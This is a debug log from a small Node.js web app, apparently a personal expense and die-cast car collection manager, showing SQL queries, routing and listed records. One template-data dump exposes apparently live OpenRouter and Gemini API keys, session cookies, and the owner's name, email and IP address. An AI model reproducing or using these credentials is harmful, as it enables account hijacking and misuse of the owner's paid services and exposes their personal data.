  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T10:48:14.914Z server-connect:app Executing action step update
2026-02-04T10:48:14.914Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T10:48:14.914Z server-connect:output update: { affected: 1 }
2026-02-04T10:48:14.914Z server-connect:app Executing action step upload
2026-02-04T10:48:14.915Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T10:48:14.915Z server-connect:output upload_image: []
2026-02-04T10:48:14.915Z server-connect:app Executing action step repeat
2026-02-04T10:48:14.915Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T10:48:14.915Z server-connect:output repeat_images: []
2026-02-04T10:48:14.915Z server-connect:output condition: undefined
2026-02-04T10:48:15.226Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:48:15.227Z server-connect:app Executing action step identify
2026-02-04T10:48:15.227Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:15.227Z server-connect:output identity: 1
2026-02-04T10:48:15.227Z server-connect:app Executing action step restrict
2026-02-04T10:48:15.227Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:15.227Z server-connect:output restrict: undefined
2026-02-04T10:48:15.228Z server-connect:app Executing action step paged
2026-02-04T10:48:15.228Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:48:15.229Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini Coutach LP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:48:18.099Z server-connect:router Serving templateView /diecast
2026-02-04T10:48:18.099Z server-connect:app Executing action step identify
2026-02-04T10:48:18.099Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:18.099Z server-connect:output identity: 1
2026-02-04T10:48:18.099Z server-connect:app Executing action step restrict
2026-02-04T10:48:18.099Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:48:18.099Z server-connect:output restrict: undefined
2026-02-04T10:48:18.099Z server-connect:router Render template layouts/main
2026-02-04T10:48:18.100Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {
    brand: '',
    search: '',
    series: '171',
    manufacturer: '',
    condition: ''
  },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'brand=&search=&series=171&manufacturer=&condition=',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T10:48:18.890Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T10:48:18.891Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T10:48:18.892Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:48:18.892Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:48:18.892Z server-connect:app Executing action step identify
2026-02-04T10:48:18.892Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:18.892Z server-connect:output identity: 1
2026-02-04T10:48:18.892Z server-connect:app Executing action step restrict
2026-02-04T10:48:18.892Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:18.892Z server-connect:app Executing action step identify
2026-02-04T10:48:18.892Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:18.892Z server-connect:output identity: 1
2026-02-04T10:48:18.892Z server-connect:app Executing action step restrict
2026-02-04T10:48:18.892Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:18.892Z server-connect:app Executing action step identify
2026-02-04T10:48:18.893Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:18.893Z server-connect:output identity: 1
2026-02-04T10:48:18.893Z server-connect:app Executing action step restrict
2026-02-04T10:48:18.893Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:18.893Z server-connect:output restrict: undefined
2026-02-04T10:48:18.893Z server-connect:app Executing action step select
2026-02-04T10:48:18.893Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T10:48:18.893Z server-connect:app Executing action step identify
2026-02-04T10:48:18.893Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:18.893Z server-connect:output identity: 1
2026-02-04T10:48:18.894Z server-connect:app Executing action step restrict
2026-02-04T10:48:18.894Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:18.894Z server-connect:output restrict: undefined
2026-02-04T10:48:18.895Z server-connect:app Executing action step single
2026-02-04T10:48:18.895Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T10:48:18.895Z server-connect:output restrict: undefined
2026-02-04T10:48:18.895Z server-connect:app Executing action step select
2026-02-04T10:48:18.895Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:48:18.896Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T10:48:18.897Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T10:48:18.897Z server-connect:output restrict: undefined
2026-02-04T10:48:18.897Z server-connect:app Executing action step select
2026-02-04T10:48:18.898Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:48:18.898Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:48:18.899Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-04T10:48:18.899Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T10:48:18.900Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:48:18.900Z server-connect:app Executing action step identify
2026-02-04T10:48:18.900Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:18.901Z server-connect:output identity: 1
2026-02-04T10:48:18.901Z server-connect:app Executing action step restrict
2026-02-04T10:48:18.901Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:18.901Z server-connect:app Executing action step identify
2026-02-04T10:48:18.901Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:18.901Z server-connect:output identity: 1
2026-02-04T10:48:18.901Z server-connect:app Executing action step restrict
2026-02-04T10:48:18.901Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:18.901Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T10:48:18.901Z server-connect:output restrict: undefined
2026-02-04T10:48:18.901Z server-connect:app Executing action step paged
2026-02-04T10:48:18.901Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
